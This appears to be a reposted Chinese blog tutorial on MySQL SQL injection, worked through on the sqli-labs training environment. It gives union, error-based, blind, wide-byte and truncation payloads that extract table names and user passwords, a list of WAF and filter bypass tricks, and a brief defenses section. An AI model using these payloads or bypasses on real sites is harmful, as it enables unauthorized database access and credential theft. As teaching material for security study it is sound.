首先了解下Mysql表結構
mysql內置的information_schema資料庫中有三個表非常重要
1 schemata:表里包含所有資料庫的名字
2 tables:表里包含所有資料庫的所有的表,默認欄位為table_name
3 columns:三個列非常重要
TABLE_SCHEMA:資料庫名
TABLE_NAME:表名
COLUMN_NAME:欄位名
SQL注入原理:web應用沒有對用戶輸入的資料進行嚴格校驗,
導致攻擊者可以在輸入的資料中構造惡意SQL陳述句獲取后臺敏感資訊.

分類:
按注入的位置可分為
GET型別注入
POST型注入
HTTP頭部注入
常見的攻擊思路及手法:
基本思路:
第一步:我們輸入的資料,也就是可控引數的改變能不能影響頁面顯示結果.
第二步:能否讓資料庫產生報錯.例如簡單的添加一個單引號看頁面是否有資料庫爆錯資訊
第三步:能否不讓資料庫產生報錯.也就是將我們的sql陳述句跟后臺的sql陳述句成功閉合并且被成功的執行.
攻擊手法:
演示環境為php+Apache+mysql,靶場為sqli-labs
(1)聯合注入:
例題為less-1,加單引號后發現報錯,根據報錯資訊

猜測后臺陳述句為SELECT username,password FROM users where id='1' LIMIT 0,1;
而我們輸入的1'導致where后面的篩選條件變為了id='1'',所以出現語法錯誤,
這個時候就需要注釋掉后面的陳述句比如輸入1‘#發現頁面正常顯示

這個時候后臺實際執行時就變成了SELECT username,password FROM users where id='1‘;
因為我們#已經把后面的' LIMIT 0,1;注釋掉了,這樣我們就可以拼接陳述句
order by判斷查詢的欄位數:?id=1'order by 4# 報錯,order by 3正常回傳
構造payload:
爆表名:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
爆欄位名:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
爆欄位值:?id=-1'union select 1,group_concat(concat_ws(":",username,password)),3 from users%23
(2)報錯注入:
首先要了解兩個函式
①extractvalue():從目標XML中回傳包含所查詢值的字串
extractvalue()(XML_document,XPath_String);
從第一引數的檔案里查找有沒有第二個引數(字串)
②UPDATAXML(XML_document,XPath_string,new_value)查找并且替換
引數含義:
new_value,String格式,替換查找到的符合條件的資料
XML_document:String格式的XML檔案物件的名字
XPath_String:Xpath格式的字串
利用方法:
1.將extractvalue(1,2號位)函式作為查詢欄位,在2號位用concat()函式拼接字串
由于報錯資訊太少,concat函式第一個引數用十六進制0x7e也就是~代替,
第二個引數就是具體要查詢的敏感內容
2.將updataxml(1,2號位,3)函式作為查詢欄位,在2號位用concat()函式拼接字串
由于報錯資訊太少,concat函式第一個引數用十六進制0x7e也就是~代替,
第二個引數就是具體要查詢的敏感內容
Less11的payload:
uname=1'UNION SELECT 1,extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username LIKE 'admin' limit 0,1))) %23&passwd=&submit=Submit
(3)盲注:
所謂盲注就是我們在測驗有無注入點的時候,看不到資料庫的報錯資訊,也看不到資料庫
的回顯資訊,只能通過頁面狀態的變化,來判斷是否存在注入
布爾盲注:例如less5中構造?id=1' or 1=0%23 頁面正常回傳you are in,但當id改為=-1時,or前后條件都為假,頁面回傳空,判斷存在布爾型別盲注
構造payload逐步爆破表名
http://127.0.0.1/sqli/less-5/?id=-1' or (SELECT ascii(substr(table_name,1,1))
FROM information_schema.tables
WHERE table_schema = database() limit 0,1)=101 %23
時間盲注:
可以通過回傳服務器回傳資料的時間判斷頁面是否執行了我們的代碼
涉及到的函式 sleep(),benchmark()
if(1,sleep(),0)
在1處拼接sql陳述句 ascii(substr((SELECT FROM),1,1))>1
(4)寬位元組注入:
寬位元組注入是利用MySQL的一個特性,
寬位元組注入原理即是利用編碼轉換,將服務器端強制添加的本來用于轉義的\符號吃掉
,從而能使攻擊者輸入的引號起到閉合作用,以至于可以進行SQL注入,
GBK編碼一個字符占兩個位元組
ASCII站一個字符占用一個位元組
PHP中編碼為GBK,函式執行添加的是ASCII編碼,MYSQL默認字符集是GBK等寬位元組
字符集
利用方法簡單點就是在被過濾的符號前加上%81等
比如
less32 payload:
?id=0%81' union select 1,user(),version() %23
(5)約束攻擊:
原理:對于insert陳述句 SQL會根據varchar(n)來限制字串的最大長度
例如:user欄位約束為varchar(5)
所以 'admin 123','admin'在insert的時候插入的值是一樣的都是截取前5個字符
而對于select陳述句來說兩者不一樣
select會原封不動的查詢有沒有匹配'admin 123'的資料
這就造成如果
資料庫的表中如果有欄位值為admin,
我們注冊用戶名'admin 123'
sql會先執行select陳述句查詢表中對應欄位值有沒有為'admin 123'的,
當然是沒有,然后插入,由于只能插入前5個字符,所以表中對應欄位就多了一個
值為admin,造成任意登錄
SQL注入常見繞過:
注釋可以用#,--+,-- -
過濾關鍵字:大小寫繞過SelEct,雙寫繞過selselectect,行內注釋繞過/*!select*/
特殊編碼繞過:十六進制,ASCII編碼,unicode編碼,hex編碼
過濾空格:
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b TAB(垂直)
%a0 空格
%0a 回車(url編碼)
/**/ 代替空格
()包裹關鍵字
過濾or and xor not: || && | !代替
過濾等號=:like代替,rlike,regexp,0<id>1,!(id<>1)
過濾大于號,小于號:
greatest(n1,n2,n3)回傳n中最大值,least(n1,n2,n3)最小
strcmp(str1,str2):若所有的字串均相同,則回傳0,若根據當前分類次序,
第一個引數小于第二個,則回傳 -1,其它情況回傳 1
in關鍵字: where id = 1 and substr(username,1,1) in ('t')
between關鍵字
過濾逗號繞過:
substr("string"from 1 for 3)
join關鍵字:
select * from users union select * from (select 1)a join (select 2)b join(select 3)c
等價于union select 1,2,3
like:關鍵字:select user() like"t%"
offset關鍵字:limit 2,1 等價于limit 1 offset 2
過濾函式繞過:
1)sleep() -->benchmark()
BENCHMARK()函式可以測驗某些特定操作的執行速度,
引數可以是需要執行的次數和運算式,
第一個引數是執行次數,第二個執行的運算式
select 1,2 and benchmark(1000000000,1)
2)ascii()–>hex()、bin(),替代之后再使用對應的進制轉string即可
3)group_concat()–>concat_ws(),第一個引數為分隔符
eg:mysql> select concat_ws(",","str1","str2")
4)substr(),substring(),mid()可以相互取代, 取子串的函式還有left(),right()
5)user() --> @@user、datadir–>@@datadir
6)ord()–>ascii():這兩個函式在處理英文時效果一樣,但是處理中文的時候不一致,
緩沖區溢位用于對付WAF,因為有不少WAF是C語言寫的,
而C語言自身沒有緩沖區保護機制,
因此如果WAF在處理測驗向量時超出了其緩沖區長度,就會引發bug從而實作繞過
payoad:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A”重復1000次,
一般來說對應用軟體構成緩沖區溢位都需要較大的測驗長度
這里1000只做參考,在某些情況下可能不需要這么長也能溢位
防御措施:
代碼層:
黑名單:不允許哪些關鍵字查詢
白名單:允許哪些關鍵字查詢
敏感字符過濾:' " @ --+ -- ) #等
使用框架安全查詢:一些持久層框架
規范輸出:不要輸出報錯資訊,代碼資訊,
配置層
開啟GPC:比如在PHP里開啟GPC,自動過濾一些通用字符
使用UTF-8:因為GBK會產生寬位元組注入
物理層
WAF:web應用防火墻,缺點是可繞過,可被0day攻擊,但是網站還是得有,
因為它是最基本的防御措施,
資料庫審計:對業務查詢代碼進行審計
云防護:跟waf基本沒啥區別,就是把客戶端輸入的引數給過濾一遍發給服務器
IPS(入侵防御系統)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/258614.html
標籤:其他
上一篇:obj檔案解釋
下一篇:Jpress小程式
